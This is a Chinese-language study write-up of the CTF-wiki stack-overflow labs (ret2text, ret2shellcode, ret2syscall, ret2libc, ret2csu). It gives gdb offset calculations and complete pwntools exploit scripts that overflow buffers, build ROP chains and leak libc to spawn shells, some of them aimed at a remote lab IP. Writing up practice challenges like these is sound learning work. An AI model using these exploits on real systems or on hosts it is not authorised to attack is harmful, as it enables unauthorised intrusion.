栈溢出
网站:https://ctf-wiki.org/
附言:所有的学习均在本地测试,远程可以使用socat或者docker部署
ret2text
保护检查

32位,开启NX保护。
查看调用的函数

发现sysytem、printf、gets、puts等。
ida打开看看(F5反汇编)

shift+f12查看字符串

很明显,在主函数中,gets函数存在栈溢出,并且字符串中调用了/bin/sh,追踪发现secure调用了system(“/bin/sh”),记录一下地址。
 
可以造成溢出的gets函数

需要计算s相对于返回地址的偏移,可以使用gdb动态调试得到,也可以直接利用ida给出的偏移值计算(这个方法在主函数使用时候经常是给出的偏移是错误的)
调试
使用gdb动态调试:
| 12
 3
 4
 5
 6
 7
 8
 
 | gdb ret2text			
 pwndbg> b *0x080486AE
 
 pwndbg> r
 
 pwndbg> info reg
 
 
 | 
执行截图如下:


| 12
 3
 4
 5
 6
 7
 
 | gdb动态调试计算偏移由图可知
 esp            0xffffcf20
 ebp            0xffffcfa8
 s=esp+1ch=ffffcf3c
 s相对于ebp偏移:offset=ebp-s=0x6c
 =>s相对于返回地址的偏移(因为是32位,所以直接+4):0x6c+4
 
 | 
攻击思路
利用gets函数进行栈溢出,并且修改返回的地址
exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | from pwn import*									
 context(os='linux',arch='i386',log_level='debug')
 
 io=process('./ret2text')
 
 
 junk=b'a'*(0x6c+4)
 shellc=0x0804863A
 payload=junk+p32(shellc)
 
 io.sendline(payload)
 io.interactive()
 
 
 | 
拿到shell

ret2shellcode
保护检查
 
32位,没有开启保护,说明栈上可执行
 
可以看到一些经常利用的函数,如gets…
ida打开看看
 
可以造成溢出的gets函数(因为gets没有设置字符串长度)
 
看主函数,可以知道当输入完s(长度为100)后,使用strncpy把s的数据复制到buf2,因为buf2没有在主函数中设出来,所以应该是一个全局变量,未初始化的全局变量一般保存在bss段中,双击buf2变量,看一下
 
使用gdb调试看看
| 12
 3
 4
 5
 6
 7
 8
 
 | gdb ret2shellcode 		
 pwndbg> b main
 
 pwndbg> r
 
 pwndbg> vmmap
 
 
 | 
 
由ida中的bss地址看到所属的区域(在第一行里)是具有可执行的权限的。
通过主函数可以知道把s的数据复制到buf2这个可以执行的bss段上,复制的大小是0x64,0x64-0x1C=0x48=72,大小足够了,直接使用pwntools提供的函数即可,可以看一下pwntools中构造 shellcode的字符串长度
这个是32位的shellc
 
这个是64位的shellc
 
对于偏移的计算,跟上面的ret2text原理一样
| 12
 3
 4
 5
 6
 7
 8
 
 | gdb ret2shellcode		
 pwndbg> b *0x08048593
 
 pwndbg> r
 
 pwndbg> info reg
 
 
 | 
 
| 12
 3
 4
 5
 
 | esp            0xffffcef0          ebp            0xffffcf78
 s=esp+0x1c=ffffcf0c
 s相对于esp的偏移:ebp-s=0x6c
 =>s相对于返回地址的偏移:0x6c+4
 
 | 
攻击思路
利用gets函数造成栈溢出修改返回地址为buf2的地址,在s中填充shellcode(需要填满,空余的用其他垃圾数据填充)
exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | from pwn import*									
 context(os='linux',arch='i386',log_level='debug')
 io=remote('101.35.231.134',10000)
 
 
 
 shellc=asm(shellcraft.sh())
 buf2_addr=0x0804A080
 
 payload=shellc.ljust(0x6c+4,b'a')+p32(buf2_addr)
 io.sendline(payload)
 io.interactive()
 
 | 
拿到shell
 
ret2syscall
保护检查
 
32位,开启了NX保护
ida查看程序文件
 
看到了危险函数gets函数
 
跟前面一样,动调算一下偏移值
 
| 12
 3
 4
 5
 
 | esp            0xffffcf30         ebp            0xffffcfb8
 v4--->esp+0x1c=0xffffcf4c
 v4相对于ebp偏移--->offset=0x6c
 因为是32位,故v4相对于返回地址的偏移--->0x6c+4
 
 | 
可以利用系统调用来获取shell,比较常用的是下面这个
| 12
 3
 4
 5
 
 | execve("/bin/sh",NULL,NULL)系统调用号,即 eax 应该为 0xb
 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
 第二个参数,即 ecx 应该为 0
 第三个参数,即 edx 应该为 0
 
 | 
对于对应的参数,可以借鉴这个网站:https://publicki.top/old/syscall.html
 
使用ROPgadget查找gadgets
eax的gadgets
 
使用我选中的那一行可以直接对ebx、ecx、edx进行赋值
 
/bin/sh这个字符串的地址
 
int 0x80的地址
 
exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | from pwn import*
 
 io=process('./rop')
 context(os='linux',arch='i386',log_level='debug')
 
 
 junk=b'a'*(0x6c+4)
 pop_eax=0x080bb196
 pop_e3x=0x0806eb90
 bin_sh=0x080be408
 int_0x80=0x08049421
 
 payload=junk+p32(pop_eax)+p32(0x0b)+p32(pop_e3x)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80)
 
 io.sendline(payload)
 io.interactive()
 
 | 
拿到shell
 
ret2libc
例1
保护检查
 
32位,开启NX检查
 
查看调用了的一些函数,可以看到gets、system函数
ida打开看看
 
发现可以造成溢出的gets寒素
 
在plt表中可以看到调用了system函数(在初始页面按ctrl+s选择plt表跳转)
 
在查看字符串的时候(shift+f12),发现字符串/bin/sh
 
现在整理一下可以利用的东西:可以造成溢出的gets函数、系统调用函数system以及字符串/bin/sh
除了可以通过ida直接查看字符串的地址,还可以通过ROPgadget
 
计算s和返回地址的偏移(方法和前面一样)
 
| 12
 3
 4
 5
 6
 
 | esp            0xffffcf10       ebp            0xffffcf98
 
 s:esp+0x1c=0xffffcf2c
 s相对于ebp的偏移:offset=ebp-s=0x6c
 s相对于返回地址的偏移:0x6c+4
 
 | 
攻击思路
利用gets函数的栈溢出修改返回地址并使之执行system(“/bin/sh”),拿到shell
exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | from pwn import*
 context(os='linux',arch='i386',log_level='debug')
 
 io=process('./ret2libc1')
 elf=ELF('./ret2libc1')
 
 junk=b'a'*(0x6c+4)
 bin_sh=0x08048720
 system_plt=elf.plt['system']
 
 
 payload=junk+p32(system_plt)+b'bbbb'+p32(bin_sh)
 
 io.sendline(payload)
 
 io.interactive()
 
 | 
拿到shell
 
例2
保护检查
 
和例1一样,32位,开启NX保护
ida打开看看
 
可以造成栈溢出的gets函数
 
查看字符串(shift+f12),和第一题相比,可以看到没有了字符串/bin/sh
 
在plt表中可以找到system函数
 
在bss段可以找到一个连续的空间,并且动调发现bss段可执行
 
 
计算s和返回地址的偏移
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | pwndbg> info regeax            0xffffcf2c          -12500
 ecx            0xffffffff          -1
 edx            0x13                19
 ebx            0x0                 0
 esp            0xffffcf10          0xffffcf10
 ebp            0xffffcf98          0xffffcf98
 esi            0xf7fb2000          -134537216
 edi            0xf7fb2000          -134537216
 eip            0x80486ba           0x80486ba <main+114>
 eflags         0x286               [ PF SF IF ]
 cs             0x23                35
 ss             0x2b                43
 ds             0x2b                43
 es             0x2b                43
 fs             0x0                 0
 gs             0x63                99
 
 s相对于返回地址的偏移:ebp-(esp+0x1c)+4=0x6c+4
 
 | 
攻击思路
和例1很像,不过缺少字符串/bin/sh,故可以调用gets函数把字符串/bin/sh写道bss段上,然后修改返回地址执行system(“/bin/sh”)
buf2的地址
 
pop_ebx
 
exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | from pwn import*
 context(os='linux',arch='i386',log_level='debug')
 
 io=process('./ret2libc2')
 elf=ELF('./ret2libc2')
 
 junk=b'a'*(0x6c+4)
 buf2_addr=0x0804A080
 pop_ebx=0x0804843d
 gets_plt=elf.plt['gets']
 system_plt=elf.plt['system']
 
 payload=junk+p32(gets_plt)+p32(pop_ebx)+p32(buf2_addr)+p32(system_plt)+b'bbbb'+p32(buf2_addr)
 
 io.sendline(payload)
 
 io.sendline('/bin/sh')
 
 io.interactive()
 
 | 
关于payloa的构造,wiki上面没有详细说明,为了方便理解,画了一张流程图
 
我先开始也看不太明白,请教了高师傅后才理解的,后来高师傅还给我推荐了一个构造payload的方法
| 1
 | payload = b'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(buf2)+p32(buf2)
 | 
这个在栈上的分布如下图所示
 
拿到shell
 
例3
保护检查
 
32位,开启NX保护
 
ida打开看看
 
发现危险函数gets函数
 
计算s和返回地址的偏移(方法和之前一样)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | pwndbg> info regeax            0xffffcf2c          -12500
 ecx            0xffffffff          -1
 edx            0x12                18
 ebx            0x0                 0
 esp            0xffffcf10          0xffffcf10
 ebp            0xffffcf98          0xffffcf98
 esi            0xf7fb2000          -134537216
 edi            0xf7fb2000          -134537216
 eip            0x804868a           0x804868a <main+114>
 eflags         0x286               [ PF SF IF ]
 cs             0x23                35
 ss             0x2b                43
 ds             0x2b                43
 es             0x2b                43
 fs             0x0                 0
 gs             0x63                99
 
 s相对于返回地址的偏移:offset=ebp-(esp+0x1c)+4=0x6c+4
 
 | 
程序中可以利用的最明显的就是gets函数的溢出。
攻击思路
利用gets函数的溢出泄露出libc版本,进而获取到system地址和/bin/sh地址,再次执行程序出发栈溢出执行system(“/bin/sh”)
exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | from pwn import*from LibcSearcher import*
 
 context(os='linux',arch='i386',log_level='debug')
 io=remote('101.35.231.134',10000)
 
 elf=ELF('./ret2libc3')
 
 junk=b'a'*(0x6c+4)
 puts_plt=elf.plt['puts']
 puts_got=elf.got['puts']
 main=elf.sym['main']
 
 payload=junk+p32(puts_plt)+p32(main)+p32(puts_got)
 
 io.sendlineafter('Can you find it !?',payload)
 
 puts_addr=u32(io.recvuntil('\xf7')[-4:])
 
 print('puts_addr--->{}'.format(hex(puts_addr)))
 
 
 libc=LibcSearcher('puts',puts_addr)
 base=puts_addr-libc.dump('puts')
 system=base+libc.dump('system')
 bin_sh=base+libc.dump('str_bin_sh')
 
 
 payload=b'a'*104+p32(system)+b'bbbb'+p32(bin_sh)
 io.sendline(payload)
 io.interactive()
 
 | 
当使用LibcSearcher查询不到时候(好像是版本的问题打不出来),可以到网上去在线查询,输入相关的函数的地址(后3位即可),在线查询网:https://publicki.top/libc/ 或者 https://libc.rip/
本地没pwn掉应该是因为我用的是Ubuntu20的版本问题
 
但是远程可以打通的
 
ret2csu
借鉴的博客:https://blog.csdn.net/AcSuccess/article/details/104448463
检查保护
 
64位,开启了NX保护,即堆栈段不可执行
 
ida打开看看
 
调用的函数
 
可以看到read函数存在栈溢出,因为buf的字长是128,而读入的数据长度是0x200。
程序中没有system函数的调用,也没有字符串/bin/sh,故两个都需要自己去构造
攻击思路
1、利用栈溢出执行 libc_csu_gadgets 获取 read 函数地址,并使得程序重新执行 main 函数
2、根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
3、再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 ‘/bin/sh’ 地址,并使得程序重新执行 main 函数。
4、再次利用栈溢出执行 libc_csu_gadgets 执行 execve(‘/bin/sh’) 获取 shell。
这题ctf-wiki讲的不是很详细,我上网找了找相关的题解,除了借鉴的博客,狼组安全的文库对这个题型进行了详细的讲解
exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 
 | from pwn import*from LibcSearcher import*
 
 context(os='linux',arch='amd64',log_level='debug')
 io=remote('101.35.231.134',10000)
 
 elf=ELF('./level5')
 
 offset=128+8
 
 first_csu=0x400606
 second_csu=0x4005f0
 
 def ret_csu(r12,r13,r14,r15,last):
 payload=b'a'*offset
 payload+=p64(first_csu)+b'a'*8
 payload+=p64(0)+p64(1)
 payload+=p64(r12)+p64(r13)+p64(r14)+p64(r15)
 payload+=p64(second_csu)+b'a'*56+p64(last)
 return payload
 
 write_got=elf.got['write']
 start_addr=0x0000000000400460
 
 io.recv()
 
 payload=ret_csu(write_got,1,write_got,8,start_addr)
 io.sendline(payload)
 
 write_addr=u64(io.recv(8))
 print('write_addr-->{}'.format(hex(write_addr)))
 
 libc=LibcSearcher('write',write_addr)
 base=write_addr-libc.dump('write')
 system=base+libc.dump('system')
 bin_sh=base+libc.dump('str_bin_sh')
 
 read_got=elf.got['read']
 bss_addr=0x601028
 
 payload=ret_csu(read_got,0,bss_addr,18,start_addr)
 io.sendlineafter('Hello, World\n',payload)
 io.sendline(p64(system)+b'/bin/sh\x00')
 
 payload=ret_csu(bss_addr,bss_addr+8,0,0,start_addr)
 io.sendlineafter('Hello, World\n',payload)
 
 io.interactive()
 
 | 
拿到shell
